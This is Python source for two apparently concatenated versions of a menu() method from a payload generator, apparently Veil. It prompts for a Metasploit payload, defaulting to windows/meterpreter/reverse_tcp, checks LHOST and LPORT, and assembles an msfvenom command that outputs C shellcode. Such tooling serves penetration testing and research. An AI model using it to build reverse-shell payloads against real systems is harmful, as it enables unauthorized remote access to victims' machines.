def menu(self): """ Main interactive menu for shellcode selection. Utilizes Completer() to do tab completion on loaded metasploit payloads. """ payloadSelected = None options = None showMessage = False if settings.TERMINAL_CLEAR != "false": showMessage = True # if no generation method has been selected yet if self.msfvenomCommand == "" and self.customshellcode == "": # show banner? if settings.TERMINAL_CLEAR != "false": showMessage = True # prompt for custom shellcode or msfvenom customShellcode = self.custShellcodeMenu(showMessage) # if custom shellcode is specified, set it if customShellcode: self.customshellcode = customShellcode # else, if no custom shellcode is specified, prompt for metasploit else: # instantiate our completer object for tab completion of available payloads comp = completers.MSFCompleter(self.payloadTree) # we want to treat '/' as part of a word, so override the delimiters readline.set_completer_delims(' \t\n;') readline.parse_and_bind("tab: complete") readline.set_completer(comp.complete) # have the user select the payload while payloadSelected == None: print '\n [*] Press %s for windows/meterpreter/reverse_tcp' % helpers.color('[enter]', yellow=True) print ' [*] Press %s to list available payloads' % helpers.color('[tab]', yellow=True) try: payloadSelected = self.required_options['MSF_PAYLOAD'][0] print ' [>] Please enter metasploit payload: %s' % (payloadSelected) except: payloadSelected = raw_input(' [>] Please enter metasploit payload: ').strip() if payloadSelected == "": # default to reverse_tcp for the payload payloadSelected = "windows/meterpreter/reverse_tcp" try: parts = payloadSelected.split("/") # walk down the selected parts of the payload tree to get to the options at the bottom options = self.payloadTree for part in parts: options = options[part] except KeyError: # make sure user entered a valid payload if 'PAYLOAD' in self.required_options: del self.required_options['PAYLOAD'] print helpers.color(" [!] ERROR: Invalid payload specified!\n", warning=True) payloadSelected = None # remove the tab completer readline.set_completer(None) # set the internal payload to the one selected self.msfvenompayload = payloadSelected # request a value for each required option for option in options: value = "" while value == "": ### VALIDATION ### # LHOST is a special case, so we can tab complete the local IP if option == "LHOST": try: value = self.required_options['LHOST'][0] print ' [>] Enter value for \'LHOST\', [tab] for local IP: %s' % (value) except: # set the completer to fill in the local IP readline.set_completer(completers.IPCompleter().complete) value = raw_input(' [>] Enter value for \'LHOST\', [tab] for local IP: ').strip() if '.' in value: hostParts = value.split(".") if len(hostParts) > 1: # if the last chunk is a number, assume it's an IP address if hostParts[-1].isdigit(): # do a regex IP validation if not re.match(r"^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$",value): if 'LHOST' in self.required_options: del self.required_options['LHOST'] print helpers.color("\n [!] ERROR: Bad IP address specified.\n", warning=True) value = "" # otherwise assume we've been passed a domain name else: if not helpers.isValidHostname(value): if 'LHOST' in self.required_options: del self.required_options['LHOST'] print helpers.color("\n [!] ERROR: Bad hostname specified.\n", warning=True) value = "" # if we don't have at least one period in the hostname/IP else: if 'LHOST' in self.required_options: del self.required_options['LHOST'] print helpers.color("\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True) value = "" elif ':' in value: try: socket.inet_pton(socket.AF_INET6, value) except socket.error: if 'LHOST' in self.required_options: del self.required_options['LHOST'] print helpers.color("\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True) value = "" else: if 'LHOST' in self.required_options: del self.required_options['LHOST'] print helpers.color("\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True) value = "" elif option == "LPORT": try: value = self.required_options['LPORT'][0] print ' [>] Enter value for \'LPORT\': %s' % (value) except: # set the completer to fill in the default MSF port (4444) readline.set_completer(completers.MSFPortCompleter().complete) value = raw_input(' [>] Enter value for \'LPORT\': ').strip() try: if int(value) <= 0 or int(value) >= 65535: print helpers.color(" [!] ERROR: Bad port number specified.\n", warning=True) if 'LPORT' in self.required_options: del self.required_options['LPORT'] value = "" except ValueError: print helpers.color(" [!] ERROR: Bad port number specified.\n", warning=True) if 'LPORT' in self.required_options: del self.required_options['LPORT'] value = "" else: value = raw_input(' [>] Enter value for \'' + option + '\': ').strip() # append all the msfvenom options self.msfvenomOptions.append(option + "=" + value) # allow the user to input any extra OPTION=value pairs extraValues = list() while True: # clear out the tab completion readline.set_completer(completers.none().complete) selection = raw_input(' [>] Enter any extra msfvenom options (syntax: OPTION1=value1 OPTION2=value2): ').strip() if selection != "": num_extra_options = selection.split(' ') for xtra_opt in num_extra_options: if xtra_opt is not '': final_opt = xtra_opt.split('=')[0] + " " + xtra_opt.split('=')[1] extraValues.append(final_opt) else: break # grab any specified msfvenom options in the /etc/veil/settings.py file msfvenomOptions = "" if hasattr(settings, "MSFVENOM_OPTIONS"): msfvenomOptions = settings.MSFVENOM_OPTIONS # build out the msfvenom command # TODO: detect Windows and modify the paths appropriately self.msfvenomCommand = "msfvenom " + msfvenomOptions + " -p " + payloadSelected for option in self.msfvenomOptions: self.msfvenomCommand += " " + option self.options.append(option) if len(extraValues) != 0 : self.msfvenomCommand += " " + " ".join(extraValues) self.msfvenomCommand += " -b \'\\x00\\x0a\\xff\' -f c | tr -d \'\"\' | tr -d \'\n\'"
def menu(self): """ Main interactive menu for shellcode selection. Utilizes Completer() to do tab completion on loaded metasploit payloads. """ payloadSelected = None options = None # if no generation method has been selected yet if self.msfvenomCommand == "" and self.customshellcode == "": # prompt for custom shellcode customShellcode = self.custShellcodeMenu() # if custom shellcode is specified, set it if customShellcode: self.customshellcode = customShellcode # else, if no custom shellcode is specified, prompt for metasploit else: # instantiate our completer object for tab completion of available payloads comp = completers.MSFCompleter(self.payloadTree) # we want to treat '/' as part of a word, so override the delimiters readline.set_completer_delims(' \t\n;') readline.parse_and_bind("tab: complete") readline.set_completer(comp.complete) # have the user select the payload while payloadSelected == None: print '\n [*] Press [enter] for windows/meterpreter/reverse_tcp' print ' [*] Press [tab] to list available payloads' payloadSelected = raw_input( ' [>] Please enter metasploit payload: ').strip() if payloadSelected == "": # default to reverse_tcp for the payload payloadSelected = "windows/meterpreter/reverse_tcp" try: parts = payloadSelected.split("/") # walk down the selected parts of the payload tree to get to the options at the bottom options = self.payloadTree for part in parts: options = options[part] except KeyError: # make sure user entered a valid payload print helpers.color( " [!] ERROR: Invalid payload specified!\n", warning=True) payloadSelected = None # remove the tab completer readline.set_completer(None) # set the internal payload to the one selected self.msfvenompayload = payloadSelected # request a value for each required option for option in options: value = "" while value == "": ### VALIDATION ### # LHOST is a special case, so we can tab complete the local IP if option == "LHOST": # set the completer to fill in the local IP readline.set_completer( completers.IPCompleter().complete) value = raw_input( ' [>] Enter value for \'LHOST\', [tab] for local IP: ' ) hostParts = value.split(".") if len(hostParts) > 1: # if the last chunk is a number, assume it's an IP address if hostParts[-1].isdigit(): # do a regex IP validation if not re.match( r"^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$", value): print helpers.color( "\n [!] ERROR: Bad IP address specified.\n", warning=True) value = "" # otherwise assume we've been passed a domain name else: if not helpers.isValidHostname(value): print helpers.color( "\n [!] ERROR: Bad hostname specified.\n", warning=True) value = "" # if we don't have at least one period in the hostname/IP else: print helpers.color( "\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True) value = "" # LPORT validation else: # set the completer to fill in the default MSF port (4444) readline.set_completer( completers.MSFPortCompleter().complete) value = raw_input(' [>] Enter value for \'' + option + '\': ') if option == "LPORT": try: if int(value) <= 0 or int(value) >= 65535: print helpers.color( " [!] ERROR: Bad port number specified.\n", warning=True) value = "" except ValueError: print helpers.color( " [!] ERROR: Bad port number specified.\n", warning=True) value = "" # append all the msfvenom options self.msfvenomOptions.append(option + "=" + value) # allow the user to input any extra OPTION=value pairs extraValues = list() while True: selection = raw_input( ' [>] Enter extra msfvenom options in OPTION=value syntax: ' ) if selection != "": extraValues.append(selection) else: break # build out the msfvenom command # TODO: detect Windows and modify the paths appropriately self.msfvenomCommand = "msfvenom -p " + payloadSelected for option in self.msfvenomOptions: self.msfvenomCommand += " " + option self.options.append(option) if len(extraValues) != 0: self.msfvenomCommand += " " + " ".join(extraValues) self.msfvenomCommand += " -b \'\\x00\\x0a\\xff\' -f c | tr -d \'\"\' | tr -d \'\n\'"